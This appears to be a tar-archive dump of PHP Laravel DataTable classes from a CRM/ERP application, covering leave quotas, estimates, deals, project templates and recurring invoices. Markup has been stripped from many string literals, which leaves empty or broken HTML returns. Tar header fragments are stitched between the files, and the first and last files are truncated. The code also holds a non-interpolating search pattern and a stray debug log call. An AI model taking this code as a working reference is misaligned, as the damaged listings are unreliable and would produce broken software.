'users.name', 'exportable' => false, 'title' => __('app.employee')], __('app.name') => ['data' => 'employee_name', 'name' => 'users.name', 'visible' => false, 'title' => __('app.name')], __('modules.leaves.noOfLeaves') => ['data' => 'totalLeave', 'name' => 'totalLeave', 'class' => 'text-center', 'title' => __('app.totalLeave')], __('modules.leaves.remainingLeaves') => ['data' => 'remainingLeave', 'name' => 'remainingLeave', 'class' => 'text-center', 'title' => __('modules.leaves.remainingLeaves')], Column::computed('action', __('app.action')) ->exportable(false) ->printable(false) ->orderable(false) ->searchable(false) ->width(150) ->addClass('text-right pr-20') ]; } protected function getAllowedLeavesQuota($row, $param = null) { $request = $this->request(); $settings = company(); $now = Carbon::now(); $total = 0; $overUtilizedLeaves = 0; $yearStartMonth = $settings->year_starts_from; $leaveStartDate = null; $leaveEndDate = null; $forMontDate = Carbon::createFromDate($request->year, $request->month, 1)->startOfDay(); $endofmonth = $forMontDate->copy()->endOfMonth(); if($settings && $settings->leaves_start_from == 'year_start'){ if ($yearStartMonth > $now->month) { // Not completed a year yet $leaveStartDate = Carbon::create($now->year, $yearStartMonth, 1)->subYear(); $leaveEndDate = $leaveStartDate->copy()->addYear()->subDay(); } else { $leaveStartDate = Carbon::create($now->year, $yearStartMonth, 1); $leaveEndDate = $leaveStartDate->copy()->addYear()->subDay(); } } elseif ($settings && $settings->leaves_start_from == 'joining_date'){ $joiningDate = Carbon::parse($row->employeedetails->joining_date->format((now(company()->timezone)->year) . '-m-d')); $joinMonth = $joiningDate->month; $joinDay = $joiningDate->day; if ($joinMonth > $now->month || ($joinMonth == $now->month && $now->day < $joinDay)) { // Not completed a year yet $leaveStartDate = $joiningDate->copy()->subYear(); $leaveEndDate = $joiningDate->copy()->subDay(); } else { // Completed a year $leaveStartDate = $joiningDate; $leaveEndDate = $joiningDate->copy()->addYear()->subDay(); } } // -------------------- month not equal if (!$this->thisMonthStartDate->eq($forMontDate)) { return $row->leaveQuotaHistory->unique('leave_type_id'); } $leaveQuotas = $row->leaveTypes; $allowedLeavesQuota = collect([]); foreach ($leaveQuotas as $leaveQuota) { if($param == 'remain'){ $count = Leave::where('leave_type_id', $leaveQuota->leave_type_id) ->where('user_id', $row->id) ->where('status', 'approved') ->where(function ($query) use ($leaveStartDate, $leaveEndDate) { $query->where('leave_date', '<=', $leaveEndDate) ->where('leave_date', '>=', $leaveStartDate); })->get() ->sum(function($leave) { return $leave->half_day_type ? 0.5 : 1; }); $total += $count; $overUtilizedLeaves += $leaveQuota->overutilised_leaves; info([$row->id . ' - ' . $total . ' '. $leaveQuota->leave_type_id . '**' . $overUtilizedLeaves]); } if ($leaveQuota->leaveType && ($leaveQuota->leaveType->leaveTypeCondition($leaveQuota->leaveType, $row))) { $allowedLeavesQuota->push($leaveQuota); } } if($param == 'remain' && $this->thisMonthStartDate->eq($forMontDate)){ $remain = (($allowedLeavesQuota->sum('no_of_leaves') ?: '0') - $total + $overUtilizedLeaves); return number_format((float)$remain, 2, '.', ''); }else{ return $allowedLeavesQuota; } } } DataTables/EstimatesDataTable.php000064400000041670150325104510012765 0ustar00viewEstimatePermission = user()->permission('view_estimates'); $this->addEstimatePermission = user()->permission('add_estimates'); $this->editEstimatePermission = user()->permission('edit_estimates'); $this->deleteEstimatePermission = user()->permission('delete_estimates'); $this->addInvoicePermission = user()->permission('add_invoices'); $this->showRequest = in_array(user()->permission('view_estimate_request'), ['all', 'added', 'owned', 'both']); } /** * Build DataTable class. * * @param mixed $query Results from query() method. * @return \Yajra\DataTables\DataTableAbstract */ public function dataTable($query) { $firstEstimate = $this->firstEstimate; $userId = UserService::getUserId(); $datatables = datatables()->eloquent($query); $datatables->addIndexColumn(); $datatables->addColumn('action', function ($row) use ($firstEstimate, $userId) { $action = '
'; return $action; }); $datatables->addColumn('estimate_number', function ($row) { return '' . $row->estimate_number . ''; }); $datatables->editColumn('project_name', function ($row) { if ($row->project_id != null) { return '' . $row->project?->project_name . ''; } return '--'; }); $datatables->addColumn('client_name', fn($row) => $row->name); $datatables->editColumn('name', fn($row) => view('components.client', ['user' => $row->client])); $datatables->editColumn('status', function ($row) { $status = ''; if ($row->status == 'waiting') { $status .= '' . __('modules.estimates.' . $row->status) . ''; } elseif ($row->status == 'draft') { $status .= '' . __('app.' . $row->status) . ''; } elseif ($row->status == 'canceled') { $status .= '' . __('app.' . $row->status) . ''; } elseif ($row->status == 'declined') { $status .= '' . __('modules.estimates.' . $row->status) . ''; } else { $status .= '' . __('modules.estimates.' . $row->status) . ''; } if (!$row->send_status && $row->status != 'draft' && $row->status != 'canceled') { $status .= ' ' . __('modules.invoices.notSent') . ''; } return $status; }); $datatables->addColumn('estimate_request_number', function ($row) { if ($row->estimate_request_id) { return '' . $row->estimateRequest->estimate_request_number . ''; } else { return '--'; } }); $datatables->editColumn('total', fn($row) => currency_format($row->total, $row->currencyId)); $datatables->editColumn('valid_till', fn($row) => Carbon::parse($row->valid_till)->translatedFormat($this->company->date_format)); $datatables->editColumn('created_at', fn($row) => Carbon::parse($row->created_at)->translatedFormat($this->company->date_format)); $datatables->removeColumn('currency_symbol'); $datatables->removeColumn('client_id'); // Custom Fields For export $customFieldColumns = CustomField::customFieldData($datatables, Estimate::CUSTOM_FIELD_MODEL); $datatables->rawColumns(array_merge(['project_name', 'name', 'action', 'status', 'estimate_number', 'estimate_request_number'], $customFieldColumns)); return $datatables; } /** * @return \Illuminate\Database\Eloquent\Builder */ public function query() { $request = $this->request(); $userId = UserService::getUserId(); $this->firstEstimate = Estimate::orderBy('id', 'desc')->first(); $model = Estimate::with(['client', 'client.session', 'company:id', 'project' => function ($q) { $q->withTrashed(); $q->select('id', 'project_name', 'project_short_code', 'client_id', 'deleted_at'); } ]) ->join('client_details', 'estimates.client_id', '=', 'client_details.user_id') ->join('currencies', 'currencies.id', '=', 'estimates.currency_id') ->join('users', 'users.id', '=', 'estimates.client_id') ->leftJoin('invoices', 'invoices.estimate_id', '=', 'estimates.id') ->leftJoin('estimate_requests', 'estimate_requests.id', '=', 'estimates.estimate_request_id') ->select([ 'estimates.id', 'estimates.company_id', 'estimates.client_id', 'users.name', 'users.email', 'estimates.total', 'currencies.currency_symbol', 'currencies.id as currencyId', 'estimates.status', 'estimates.project_id', 'estimates.valid_till', 'estimates.estimate_number', 'estimates.send_status', 'estimates.added_by', 'estimates.hash', 'invoices.estimate_id', 'estimates.created_at', 'estimates.estimate_request_id', 'estimate_requests.estimate_request_number', ]); if ($request->startDate !== null && $request->startDate != 'null' && $request->startDate != '') { $startDate = companyToDateString($request->startDate); $model = $model->where(DB::raw('DATE(estimates.`valid_till`)'), '>=', $startDate); } if ($request->endDate !== null && $request->endDate != 'null' && $request->endDate != '') { $endDate = companyToDateString($request->endDate); $model = $model->where(DB::raw('DATE(estimates.`valid_till`)'), '<=', $endDate); } if ($request->status != 'all' && !is_null($request->status)) { $model = $model->where('estimates.status', '=', $request->status); } if ($request->clientID != 'all' && !is_null($request->clientID)) { $model = $model->where('estimates.client_id', '=', $request->clientID); } if (in_array('client', user_roles())) { $model = $model->where('estimates.send_status', 1); $model = $model->where('estimates.client_id', $userId); } if ($request->searchText != '') { $model->where(function ($query) { $query->where('estimates.estimate_number', 'like', '%' . request('searchText') . '%') ->orWhere('estimates.id', 'like', '%' . request('searchText') . '%') ->orWhere('estimates.total', 'like', '%' . request('searchText') . '%') ->orWhere(function ($query) { $query->whereHas('client', function ($q) { $q->where('name', 'like', '%' . request('searchText') . '%'); }); }) ->orWhere(function ($query) { $query->whereHas('project', function ($q) { $q->where('project_name', 'like', '%' . request('searchText') . '%') ->orWhere('project_short_code', 'like', '%' . request('searchText') . '%'); // project short code }); }) ->orWhere(function ($query) { $query->where('estimates.status', 'like', '%' . request('searchText') . '%'); }); }); } if ($this->viewEstimatePermission == 'added') { $model->where('estimates.added_by', $userId); } if ($this->viewEstimatePermission == 'both') { $model->where(function ($query) use ($userId) { $query->where('estimates.added_by', $userId) ->orWhere('estimates.client_id', $userId); }); } if ($this->viewEstimatePermission == 'owned') { $model->where('estimates.client_id', $userId); } return $model; } /** * Optional method if you want to use html builder. * * @return \Yajra\DataTables\Html\Builder */ public function html() { $dataTable = $this->setBuilder('invoices-table') ->parameters([ 'initComplete' => 'function () { window.LaravelDataTables["invoices-table"].buttons().container() .appendTo( "#table-actions") }', 'fnDrawCallback' => 'function( oSettings ) { $("body").tooltip({ selector: \'[data-toggle="tooltip"]\' }) }', ]); if (canDataTableExport()) { $dataTable->buttons(Button::make(['extend' => 'excel', 'text' => ' ' . trans('app.exportExcel')])); } return $dataTable; } /** * Get columns. * * @return array */ protected function getColumns() { $data = [ '#' => ['data' => 'DT_RowIndex', 'orderable' => false, 'searchable' => false, 'visible' => false, 'title' => '#'], __('app.id') => ['data' => 'id', 'name' => 'id', 'title' => __('app.id'), 'visible' => false], __('app.estimate') . '#' => ['data' => 'estimate_number', 'name' => 'estimate_number', 'title' => __('app.estimate')], __('app.project') => ['data' => 'project_name', 'name' => 'project.project_name', 'title' => __('app.project'), 'visible' => in_array('projects', user_modules()), 'exportable' => in_array('projects', user_modules())], __('app.client') => ['data' => 'name', 'name' => 'users.name', 'exportable' => false, 'title' => __('app.client'), 'visible' => (in_array('clients', user_modules()) && !in_array('client', user_roles()))], __('app.customers') => ['data' => 'client_name', 'name' => 'users.name', 'visible' => false, 'title' => __('app.customers')], __('app.email') => ['data' => 'email', 'name' => 'users.email', 'visible' => false, 'title' => __('app.email')], __('modules.invoices.total') => ['data' => 'total', 'name' => 'total', 'title' => __('modules.invoices.total')], __('modules.estimates.validTill') => ['data' => 'valid_till', 'name' => 'valid_till', 'title' => __('modules.estimates.validTill')], __('app.createdOn') => ['data' => 'created_at', 'name' => 'created_at', 'title' => __('app.createdOn')], __('modules.estimateRequest.estimateRequest') . ' ' . __('app.number') => ['data' => 'estimate_request_number', 'name' => 'estimate_request_number', 'visible' => $this->showRequest , 'title' => __('modules.estimateRequest.estimateRequest') . ' ' . __('app.number')], __('app.status') => ['data' => 'status', 'name' => 'status', 'title' => __('app.status')] ]; $action = [ Column::computed('action', __('app.action')) ->exportable(false) ->printable(false) ->orderable(false) ->searchable(false) ->addClass('text-right pr-20') ]; return array_merge($data, CustomFieldGroup::customFieldsDataMerge(new Estimate()), $action); } } DataTables/DealsDataTable.php000064400000062633150325104510012061 0ustar00editLeadPermission = user()->permission('edit_deals'); $this->deleteLeadPermission = user()->permission('delete_deals'); $this->viewLeadPermission = user()->permission('view_deals'); $this->addFollowUpPermission = user()->permission('add_lead_follow_up'); $this->changeLeadStatusPermission = user()->permission('change_deal_stages'); $this->viewLeadFollowUpPermission = user()->permission('view_lead_follow_up'); $this->myAgentId = LeadAgent::where('user_id', user()->id)->pluck('id')->toArray(); } /** * Build DataTable class. * * @param mixed $query Results from query() method. * @return \Yajra\DataTables\DataTableAbstract */ public function dataTable($query) { $currentDate = now(company()->timezone)->translatedFormat('Y-m-d'); $stagesData = PipelineStage::all(); $stages = $stagesData->filter(function ($value, $key) { return $value->lead_pipeline_id == $this->request()->pipeline; }); $datatables = datatables()->eloquent($query); $datatables->addIndexColumn(); $datatables->addColumn('check', fn($row) => $this->checkBox($row)); $datatables->addColumn('export_deal_watcher', fn($row) => $row->dealWatcher->name ?? '--'); $datatables->addColumn('action', function ($row) { $action = '
'; return $action; }); $datatables->addColumn('employee_name', fn($row) => $row->leadAgent->user->name ?? '--'); $datatables->addColumn('mobile', fn($row) => !empty($row->mobile) ? '' . $row->mobile . '' : '--'); $datatables->addColumn('lead_email', fn($row) => !empty($row->client_email) ? '' . str($row->client_email)->limit(25) . '' .'

'.$row->mobile.'

' : '--'); $datatables->addColumn('export_mobile', fn($row) => $row->contact->mobile ?? '--'); $datatables->addColumn('export_email', fn($row) => $row->client_email); $datatables->addColumn('lead_value', fn($row) => currency_format($row->value, $row->currency_id)); $datatables->addColumn('lead', 'client_name'); $datatables->addColumn('category_name', fn($row) => $row->contact->category->category_name ?? null); $datatables->addColumn('leadStage', fn($row) => $row->leadStage->name ?? '--'); $datatables->addColumn('stage', function ($row) use ($stages, $stagesData) { $action = '--'; if (count($stages) == 0) { $stages = $stagesData->filter(function ($value) use ($row) { return $value->lead_pipeline_id == $row->lead_pipeline_id; }); } $stages = $stages->sortBy('priority'); if ($this->changeLeadStatusPermission == 'all') { $action = ''; } else { foreach ($stages as $st) { if ($row->pipeline_stage_id == $st->id) { $action = "
" . str($st->name)->limit(10) . '
'; } } } return $action; }); $datatables->addColumn('client_name', function ($row) { $label = ''; if ($row->client_id != null && $row->client_id != '') { $label = ''; } $client_name = $row->client_name; if ($row->salutation instanceof Salutation || is_string($row->salutation)) { $salutationLabel = ($row->salutation instanceof Salutation) ? $row->salutation->label() : Salutation::from($row->salutation)->label(); $client_name = $salutationLabel . ' ' . $client_name; } return '
' . str($client_name)->limit(18) . '

' . $label . '

' . str($row->company_name)->limit(18) . '

'; }); $datatables->editColumn('name', function ($row) { return ' '; }); $datatables->editColumn('next_follow_up_date', function ($row) use ($currentDate) { $date = ''; if ($row->next_follow_up_date != null && $row->next_follow_up_date != '') { $date = $row->next_follow_up_date->translatedFormat($this->company->date_format) . '
' . $row->next_follow_up_date->translatedFormat($this->company->time_format); } if ($row->next_follow_up_date < $currentDate && $row->next_follow_up_status == 'incomplete' && $date != '--') { return $date . '
'; } return $date; }); $datatables->editColumn('close_date', fn($row) => $row->close_date ? $row->close_date->translatedFormat($this->company->date_format) : '--'); $datatables->editColumn('lead_pipeline_id', fn($row) => $row->lead_pipeline_id ? $row->pipeline->name : '--'); $datatables->editColumn('agent_name', fn($row) => $row->agent_id ? view('components.employee', ['user' => $row->leadAgent->user]) : '--'); $datatables->addColumn('deal_watcher_user', fn($row) => $row->dealWatcher ? view('components.employee', ['user' => $row->dealWatcher]) : '--'); $datatables->smart(false); $datatables->setRowId(fn($row) => 'row-' . $row->id); $datatables->removeColumn('status_id'); $datatables->removeColumn('client_id'); $datatables->removeColumn('source'); $datatables->removeColumn('next_follow_up'); $datatables->removeColumn('statusName'); $datatables->removeColumn('statusName'); $customFieldColumns = CustomField::customFieldData($datatables, Deal::CUSTOM_FIELD_MODEL); $datatables->rawColumns(array_merge(['status', 'action', 'name', 'client_name', 'next_follow_up_date', 'agent_name', 'check', 'mobile', 'stage', 'lead_email'], $customFieldColumns)); return $datatables; } /** * @return \Illuminate\Database\Eloquent\Builder */ public function query(Deal $model) { $lead = $model->with(['leadAgent','products', 'dealWatcher' => function ($query) { $query->withoutGlobalScope(ActiveScope::class); } , 'leadAgent.user', 'category', 'contact', 'pipeline', 'leadStage', 'leadAgent.user.employeeDetail.designation:id,name', 'leadAgent.user.employeeDetail.department:id,team_name']) ->select( 'deals.id', 'deals.name', 'deals.deal_watcher', 'deals.lead_id', 'deals.lead_pipeline_id', 'deals.agent_id', 'deals.added_by', 'leads.client_id', 'deals.next_follow_up', 'deals.value', 'pipeline_stages.name as stageName', 'pipeline_stage_id', 'deals.created_at', 'deals.close_date', 'deals.updated_at', 'users.name as agent_name', 'users.image', 'leads.company_name', 'leads.mobile', 'leads.salutation as salutation', 'leads.id as contact_id', 'leads.client_name as client_name', 'leads.client_email as client_email', DB::raw("(select next_follow_up_date from lead_follow_up where deal_id = deals.id and deals.next_follow_up = 'yes' and lead_follow_up.status = 'pending' ORDER BY next_follow_up_date asc limit 1) as next_follow_up_date"), DB::raw("(select lead_follow_status.status from lead_follow_up as lead_follow_status where deal_id = deals.id and deals.next_follow_up = 'yes' ORDER BY next_follow_up_date asc limit 1) as next_follow_up_status") ) ->leftJoin('pipeline_stages', 'pipeline_stages.id', 'deals.pipeline_stage_id') ->leftJoin('lead_agents', 'lead_agents.id', 'deals.agent_id') ->leftJoin('users', 'users.id', 'lead_agents.user_id') ->leftJoin('leads', 'leads.id', 'deals.lead_id') ->leftJoin('lead_products', 'lead_products.deal_id', 'deals.id') ->leftJoin('products', 'products.id', 'lead_products.product_id'); if ($this->request()->followUp != 'all' && $this->request()->followUp != '') { $lead = $lead->leftJoin('lead_follow_up', 'lead_follow_up.deal_id', 'deals.id'); if ($this->request()->followUp == 'yes') { $lead = $lead->where('deals.next_follow_up', 'yes'); } else { $lead = $lead->where('deals.next_follow_up', 'no'); } } if (!is_null($this->request()->min) || !is_null($this->request()->max)) { $min = $this->request()->min; $lead = $lead->where('value', '>=', $min); } if (!is_null($this->request()->max)) { $max = $this->request()->max; $lead = $lead->where('value', '<=', $max); } if ($this->request()->type != 'all' && $this->request()->type != '') { if ($this->request()->type == 'lead') { $lead = $lead->whereNull('leads.client_id'); } else { $lead = $lead->whereNotNull('leads.client_id'); } } if ($this->request()->startDate !== null && $this->request()->startDate != 'null' && $this->request()->startDate != '' && request()->date_filter_on == 'created_at') { $startDate = Carbon::createFromFormat($this->company->date_format, $this->request()->startDate)->toDateString(); $lead = $lead->having(DB::raw('DATE(deals.`created_at`)'), '>=', $startDate); } if ($this->request()->pipeline !== null && $this->request()->pipeline != 'null' && $this->request()->pipeline != '' && request()->pipeline != 'all') { $lead = $lead->where('deals.lead_pipeline_id', $this->request()->pipeline); } if ($this->request()->category !== null && $this->request()->category != 'null' && $this->request()->category != '' && $this->request()->category != 'all') { $lead = $lead->where('deals.category_id', $this->request()->category); } if ($this->request()->product !== null && $this->request()->product != 'null' && $this->request()->pipeline != '' && request()->product != 'all') { $lead = $lead->where('products.id', $this->request()->product); } if ($this->request()->startDate !== null && $this->request()->startDate != 'null' && $this->request()->startDate != '' && request()->date_filter_on == 'next_follow_up_date') { $startDate = Carbon::createFromFormat($this->company->date_format, $this->request()->startDate)->toDateString(); $lead = $lead->having(DB::raw('DATE(`next_follow_up_date`)'), '>=', $startDate); } if ($this->request()->endDate !== null && $this->request()->endDate != 'null' && $this->request()->endDate != '' && request()->date_filter_on == 'created_at') { $endDate = Carbon::createFromFormat($this->company->date_format, $this->request()->endDate)->toDateString(); $lead = $lead->having(DB::raw('DATE(deals.`created_at`)'), '<=', $endDate); } if ($this->request()->endDate !== null && $this->request()->endDate != 'null' && $this->request()->endDate != '' && request()->date_filter_on == 'next_follow_up_date') { $endDate = Carbon::createFromFormat($this->company->date_format, $this->request()->endDate)->toDateString(); $lead = $lead->having(DB::raw('DATE(`next_follow_up_date`)'), '<=', $endDate); } if ($this->request()->startDate !== null && $this->request()->startDate != 'null' && $this->request()->startDate != '' && request()->date_filter_on == 'updated_at') { $startDate = Carbon::createFromFormat($this->company->date_format, $this->request()->startDate)->toDateString(); $lead = $lead->having(DB::raw('DATE(deals.`updated_at`)'), '>=', $startDate); } if ($this->request()->endDate !== null && $this->request()->endDate != 'null' && $this->request()->endDate != '' && request()->date_filter_on == 'updated_at') { $endDate = Carbon::createFromFormat($this->company->date_format, $this->request()->endDate)->toDateString(); $lead = $lead->having(DB::raw('DATE(deals.`updated_at`)'), '<=', $endDate); } if (($this->request()->agent != 'all' && $this->request()->agent != '') || $this->viewLeadPermission == 'added') { $lead = $lead->where(function ($query) { if ($this->request()->agent != 'all' && $this->request()->agent != '') { $AgentIds = LeadAgent::where('user_id', $this->request()->agent)->get()->pluck('id'); $query->whereIn('agent_id', $AgentIds); } if ($this->viewLeadPermission == 'added') { $query->where('deals.added_by', user()->id); } }); } if ($this->viewLeadPermission == 'owned') { $lead = $lead->where(function ($query) { if (!empty($this->myAgentId)) { $query->whereIn('agent_id', $this->myAgentId); } $query->orWhere('deals.deal_watcher', user()->id); }); } if ($this->viewLeadPermission == 'both') { $lead = $lead->where(function ($query) { if (!empty($this->myAgentId)) { $query->whereIn('agent_id', $this->myAgentId); } $query->orWhere('deals.added_by', user()->id) ->orWhere('deals.deal_watcher', user()->id); }); } if ($this->request()->deal_watcher_id !== null && $this->request()->deal_watcher_id != 'all' && $this->request()->deal_watcher_id != '') { $lead = $lead->where('deals.deal_watcher', $this->request()->deal_watcher_id); } if ($this->request()->stage_id != 'all' && $this->request()->stage_id != '') { $lead = $lead->where('deals.pipeline_stage_id', $this->request()->stage_id); } if ($this->request()->leadId !== null && $this->request()->leadId != 'null' && $this->request()->leadId != '' && $this->request()->leadId != 'all') { $lead = $lead->where('deals.lead_id', $this->request()->leadId); } if ($this->request()->lead_agent_id !== null && $this->request()->lead_agent_id != 'null' && $this->request()->lead_agent_id != '' && $this->request()->lead_agent_id != 'all') { $lead = $lead->where('deals.lead_id', $this->request()->lead_agent_id); } if ($this->request()->source_id != 'all' && $this->request()->source_id != '') { $lead = $lead->where('leads.source_id', $this->request()->source_id); } if ($this->request()->searchText != '') { $lead = $lead->where(function ($query) { $query->where('leads.client_name', 'like', '%' . request('searchText') . '%') ->orWhere('leads.client_email', 'like', '%' . request('searchText') . '%') ->orWhere('leads.company_name', 'like', '%' . request('searchText') . '%') ->orwhere('leads.mobile', 'like', '%' . request('searchText') . '%') ->orwhere('deals.name', 'like', '%' . request('searchText') . '%'); }); } return $lead->groupBy('deals.id'); } /** * Optional method if you want to use html builder. * * @return \Yajra\DataTables\Html\Builder */ public function html() { $dataTable = $this->setBuilder('leads-table', 2) ->parameters([ 'initComplete' => 'function () { window.LaravelDataTables["leads-table"].buttons().container() .appendTo("#table-actions") }', 'fnDrawCallback' => 'function( oSettings ) { $(".select-picker").selectpicker(); }', ]); if (canDataTableExport()) { $dataTable->buttons(Button::make(['extend' => 'excel', 'text' => ' ' . trans('app.exportExcel')])); } return $dataTable; } /** * Get columns. * * @return array */ protected function getColumns() { $data = [ 'check' => [ 'title' => '', 'exportable' => false, 'orderable' => false, 'searchable' => false ], '#' => ['data' => 'DT_RowIndex', 'orderable' => false, 'searchable' => false, 'visible' => false, 'title' => '#'], __('app.id') => ['data' => 'id', 'name' => 'id', 'title' => __('app.id'), 'visible' => showId()], __('modules.deal.dealName') => ['data' => 'name', 'name' => 'name', 'title' => __('modules.deal.dealName')], __('modules.leadContact.leadName') => ['data' => 'client_name', 'name' => 'leads.client_name', 'title' => __('modules.leadContact.leadName')], __('modules.lead.email') => ['data' => 'lead_email', 'name' => 'email', 'title' => __('app.contactDetails'), 'exportable' => false], __('app.lead') . ' ' . __('modules.lead.email') => ['data' => 'export_email', 'name' => 'email', 'title' => __('app.lead') . ' ' . __('modules.lead.email'), 'exportable' => true, 'visible' => false], __('modules.deal.pipeline') => ['data' => 'lead_pipeline_id', 'name' => 'lead_pipeline_id', 'exportable' => true, 'visible' => false, 'title' => __('modules.deal.pipeline')], // __('modules.lead.mobile') => ['data' => 'mobile', 'name' => 'mobile', 'title' => __('modules.lead.mobile'), 'exportable' => false], __('app.lead') . ' ' . __('modules.lead.mobile') => ['data' => 'export_mobile', 'name' => 'mobile', 'title' => __('app.lead') . ' ' . __('modules.lead.mobile'), 'exportable' => true, 'visible' => false], __('modules.deal.dealValue') => ['data' => 'lead_value', 'name' => 'value', 'title' => __('app.value'), 'exportable' => true], __('modules.deal.closeDate') => ['data' => 'close_date', 'name' => 'close_date', 'title' => __('modules.deal.closeDate')], __('modules.lead.nextFollowUp') => ['data' => 'next_follow_up_date', 'name' => 'next_follow_up_date', 'searchable' => false, 'exportable' => ($this->viewLeadFollowUpPermission != 'none'), 'title' => __('modules.lead.nextFollowUp'), 'visible' => ($this->viewLeadFollowUpPermission != 'none')], __('modules.deal.dealAgent') => ['data' => 'agent_name', 'name' => 'users.name', 'exportable' => false, 'title' => __('modules.deal.dealAgent')], __('app.leadAgent') => ['data' => 'employee_name', 'name' => 'users.name', 'visible' => false, 'title' => __('app.leadAgent')], __('app.addedBy') => ['data' => 'export_deal_watcher', 'name' => 'users.name', 'exportable' => true, 'visible' => false, 'title' => __('app.dealWatcher')], __('app.dealWatcher') => ['data' => 'deal_watcher_user', 'name' => 'users.name', 'exportable' => false, 'title' => __('app.dealWatcher')], __('modules.leadContact.stage') => ['data' => 'stage', 'name' => 'deals.pipeline_stage_id', 'exportable' => false, 'visible' => true, 'title' => __('modules.leadContact.stage')], __('modules.leadContact.leadStage') => ['data' => 'leadStage', 'name' => 'leadStage', 'visible' => false, 'orderable' => false, 'searchable' => false, 'title' => __('modules.leadContact.leadStage')] ]; $action = [ Column::computed('action', __('app.action')) ->exportable(false) ->printable(false) ->orderable(false) ->searchable(false) ->addClass('text-right pr-20') ]; return array_merge($data, CustomFieldGroup::customFieldsDataMerge(new Deal()), $action); } } DataTables/ProjectTemplatesDataTable.php000064400000017151150325104510014311 0ustar00editProjectsPermission = user()->permission('edit_projects'); $this->deleteProjectPermission = user()->permission('delete_projects'); $this->viewProjectPermission = user()->permission('view_projects'); $this->addProjectPermission = user()->permission('add_projects'); $this->manageProjectTemplatePermission = user()->permission('manage_project_template'); $this->viewProjectTemplatePermission = user()->permission('view_project_template'); } /** * Build DataTable class. * * @param mixed $query Results from query() method. * @return \Yajra\DataTables\DataTableAbstract */ public function dataTable($query) { return datatables() ->eloquent($query) ->addColumn('check', fn($row) => $this->checkBox($row)) ->addColumn('action', function ($row) { $action = '
'; return $action; }) ->addColumn('members', function ($row) { $members = ''; if (count($row->members) > 0) { foreach ($row->members as $member) { $img = ''; $members .= ' '; } } else { $members .= __('messages.noMemberAddedToProject'); } return $members; }) ->editColumn('project_name', function ($row) { return ''; }) ->editColumn('category_id', function ($row) { return ($row->category) ? $row->category->category_name : '-'; }) ->addIndexColumn() ->setRowId(fn($row) => 'row-' . $row->id) ->rawColumns(['project_name', 'action', 'members', 'category_id', 'check']); } /** * Get query source of dataTable. * * @param \App\Models\ProjectTemplate $model * @return \Illuminate\Database\Eloquent\Builder */ public function query(ProjectTemplate $model) { $request = $this->request(); $model = $model::with(['category', 'members']) ->select('id', 'project_name', 'category_id'); if ($request->searchText != '') { $model->where(function ($query) { $query->where('project_templates.project_name', 'like', '%' . request('searchText') . '%'); }); } return $model; } /** * Optional method if you want to use html builder. * * @return \Yajra\DataTables\Html\Builder */ public function html() { $dataTable = $this->setBuilder('projects-template-table') ->parameters([ 'initComplete' => 'function () { window.LaravelDataTables["projects-template-table"].buttons().container() .appendTo( "#table-actions") }', 'fnDrawCallback' => 'function( oSettings ) { $("body").tooltip({ selector: \'[data-toggle="tooltip"]\' }) }', ]); return $dataTable; } /** * Get columns. * * @return array */ protected function getColumns() { return [ 'check' => [ 'title' => '', 'exportable' => false, 'orderable' => false, 'searchable' => false, 'visible' => !in_array('client', user_roles()) ], '#' => ['data' => 'DT_RowIndex', 'orderable' => false, 'searchable' => false, 'visible' => false, 'title' => '#'], __('modules.projects.projectName') => ['data' => 'project_name', 'name' => 'project_name', 'title' => __('modules.projects.projectName')], __('modules.projects.members') => ['data' => 'members', 'name' => 'members', 'exportable' => false, 'width' => '25%', 'title' => __('modules.projects.members')], __('modules.projects.projectCategory') => ['data' => 'category_id', 'name' => 'category_id', 'title' => __('modules.projects.projectCategory')], Column::computed('action', __('app.action')) ->exportable(false) ->printable(false) ->orderable(false) ->searchable(false) ->width(150) ->addClass('text-right pr-20') ]; } } DataTables/RecurringInvoicesDataTable.php000064400000045725150325104510014474 0ustar00firstInvoice; $invoiceSettings = $this->invoiceSettings; $userId = UserService::getUserId(); return (new EloquentDataTable($query)) ->addIndexColumn() ->filterColumn('invoice_number', function ($query, $keyword) use ($invoiceSettings) { $string = ltrim(str_replace($invoiceSettings->invoice_prefix . $invoiceSettings->invoice_number_separator, '', $keyword), '0'); $sql = 'invoices.invoice_number like ?'; $query->whereRaw($sql, ['%{$string}%']); }) ->addColumn('action', function ($row) use ($firstInvoice, $userId) { $action = '
'; return $action; }) ->editColumn('project_name', function ($row) { if ($row->project_id != null) { return '' . $row->project->project_name . ''; } return '--'; }) ->addColumn('client_name', function ($row) { if ($row->project && $row->project->client) { return $row->project->client->name; } else if ($row->client_id != '') { return $row->client->name; } else if ($row->estimate && $row->estimate->client) { return $row->estimate->client->name; } else { return '--'; } }) ->editColumn('name', function ($row) { if ($row->project && $row->project->client) { $client = $row->project->client; } else if ($row->client_id != '') { $client = $row->client; } else if ($row->estimate && $row->estimate->client) { $client = $row->estimate->client; } else { return '--'; } return view('components.client', [ 'user' => $client ]); }) ->editColumn('invoices', function ($row) { return $row->invoice_number; }) ->editColumn('invoice_number', function ($row) { $recurring = ''; if (!is_null($row->invoice_recurring_id)) { $recurring = ' ' . __('app.recurring') . ' '; } return '
' . $row->invoice_number . '

' . $recurring . '

'; }) ->editColumn('status', function ($row) { $status = ''; if ($row->credit_note) { $status .= ' ' . __('app.credit-note'); } else { if ($row->status == 'unpaid') { $status .= ' ' . __('app.' . $row->status); } elseif ($row->status == 'paid') { $status .= ' ' . __('app.' . $row->status); } elseif ($row->status == 'draft') { $status .= ' ' . __('app.' . $row->status); } elseif ($row->status == 'canceled') { $status .= ' ' . __('app.' . $row->status); } else { $status .= ' ' . __('modules.invoices.partial'); } } if (!$row->send_status && $row->status != 'draft') { $status .= '

' . __('modules.invoices.notSent') . ''; } return $status; }) ->editColumn('total', function ($row) { $currencyId = $row->currency->id; return '
' . __('app.total') . ': ' . currency_format($row->total, $currencyId) . '
' . __('app.paid') . ': ' . currency_format($row->amountPaid(), $currencyId) . '
' . __('app.unpaid') . ': ' . currency_format($row->amountDue(), $currencyId) . '
